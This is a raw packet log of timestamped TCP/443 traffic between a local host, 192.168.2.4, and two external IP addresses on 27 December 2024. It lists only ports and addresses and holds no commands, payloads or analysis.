Dec 27, 2024 20:44:03.457709074 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.457726955 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.457741022 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.463675022 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.463690996 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.463735104 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.463742018 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.463771105 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.470336914 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.470352888 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.470506907 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.470511913 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.470550060 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.476183891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.476198912 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.476248980 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.476255894 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.476288080 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.482974052 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.482988119 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.483031034 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.483036995 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.483068943 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.483908892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.483953953 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.483958006 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.483968973 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.483990908 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.484013081 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.484067917 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.484078884 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:03.484092951 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:03.484113932 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:04.490710974 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:04.490746021 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:04.490839958 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:04.492176056 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:04.492189884 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.328844070 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.328948975 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:06.331636906 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:06.331645966 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.332022905 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.371345043 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:06.415330887 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.807751894 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.807818890 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:06.807987928 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:06.809118986 CET	49731	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:06.809139967 CET	443	49731	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:10.079492092 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:10.079549074 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:10.079619884 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:10.081305981 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:10.081321955 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:11.916014910 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:11.916094065 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:11.917377949 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:11.917393923 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:11.917766094 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:11.951076031 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:11.995328903 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.388011932 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.388175011 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.388222933 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.388282061 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.388303995 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.388303995 CET	49736	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.388314962 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.388324022 CET	443	49736	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.516239882 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.516273975 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:12.516379118 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.516791105 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:12.516801119 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.359129906 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.359200954 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.360692024 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.360702038 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.361494064 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.362508059 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.403336048 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.814203024 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.814374924 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.816152096 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.816152096 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.816191912 CET	49739	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.816210032 CET	443	49739	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.826884031 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.826926947 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:14.828166962 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.828398943 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:14.828411102 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:16.807080030 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:16.807684898 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:16.807703018 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:16.808321953 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:16.808327913 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.271121025 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.271198988 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.271270990 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.271960020 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.271970987 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.271984100 CET	49741	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.271987915 CET	443	49741	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.402530909 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.402585030 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:17.402657986 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.402822971 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:17.402836084 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.193933964 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.194406033 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:19.194426060 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.197148085 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:19.197155952 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.638855934 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.638942003 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:19.639004946 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:19.884982109 CET	49744	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:19.885026932 CET	443	49744	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:20.005034924 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:20.005064964 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:20.005131006 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:20.005672932 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:20.005686045 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:21.799285889 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:21.799814939 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:21.799881935 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:21.802433014 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:21.802448988 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.244016886 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.244081020 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.244343996 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.244461060 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.244461060 CET	49747	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.244509935 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.244537115 CET	443	49747	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.246804953 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.246845961 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:22.246916056 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.247061968 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:22.247076988 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.148943901 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.150732994 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:24.150755882 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.153702974 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:24.153711081 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.818964005 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.818990946 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.819005966 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.819084883 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:24.819101095 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.819155931 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:24.990447998 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.990466118 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.990513086 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:24.990520954 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:24.990566015 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.041220903 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.041239977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.041290045 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.041299105 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.041310072 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.041337967 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.177609921 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.177634001 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.177685976 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.177695036 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.177725077 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.177747011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.210517883 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.210535049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.210612059 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.210618973 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.210656881 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.274954081 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.274972916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.275060892 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.275073051 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.275114059 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.304495096 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.304510117 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.304613113 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.304620981 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.304675102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.385267973 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.385288954 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.385401964 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.385415077 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.385458946 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.408907890 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.408926010 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.409008026 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.409014940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.409054041 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.421952009 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.421967983 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.422019958 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.422028065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.422069073 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.453113079 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.453129053 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.453202963 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.453211069 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.453269958 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.466876984 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.466892004 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.466963053 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.466969013 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.467004061 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.467024088 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.581556082 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.581576109 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.581651926 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.581660032 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.581701040 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.593600988 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.593616962 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.593698025 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.593704939 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.593758106 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.603879929 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.603894949 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.603991032 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.603997946 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.604043007 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.614089012 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.614105940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.614187002 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.614192963 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.614233971 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.624998093 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.625014067 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.625107050 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.625114918 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.625157118 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.631006002 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.635045052 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.635060072 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.635122061 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.635128975 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.635170937 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.662929058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.662945032 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.663013935 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.663022041 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.663067102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.673746109 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.673763037 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.673805952 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.673813105 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.673841000 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.673865080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.917347908 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.917376041 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.917421103 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.917431116 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:25.917484999 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:25.917484999 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.037287951 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037306070 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037373066 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.037408113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037456036 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.037554026 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037575006 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037602901 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.037611961 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.037635088 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.037656069 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.038501024 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.038516045 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.038564920 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.038574934 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.038619041 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.039278030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.039298058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.039329052 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.039355040 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.039361000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.039407969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.040366888 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.040388107 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.040424109 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.040431976 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.040460110 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.040477037 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.041302919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.041317940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.041368961 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.041377068 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.041388988 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.041409969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.042411089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.042427063 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.042471886 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.042479992 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.042536020 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.043401003 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.043416977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.043467999 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.043477058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.043517113 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.044385910 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.044400930 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.044444084 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.044459105 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.044471979 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.044496059 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.044538021 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.045574903 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.045592070 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.045630932 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.045639038 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.045664072 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.046504021 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.046525002 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.046567917 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.046576977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.046602011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.047384977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.047409058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.047435045 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.047445059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.047475100 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.083831072 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.083851099 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.083890915 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.083900928 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.083947897 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.130268097 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.163938046 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.163955927 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.164025068 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.164036989 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.164083004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.208971024 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.208992958 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.209072113 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.209085941 CET	443	49748	147.45.112.248	192.168.2.4
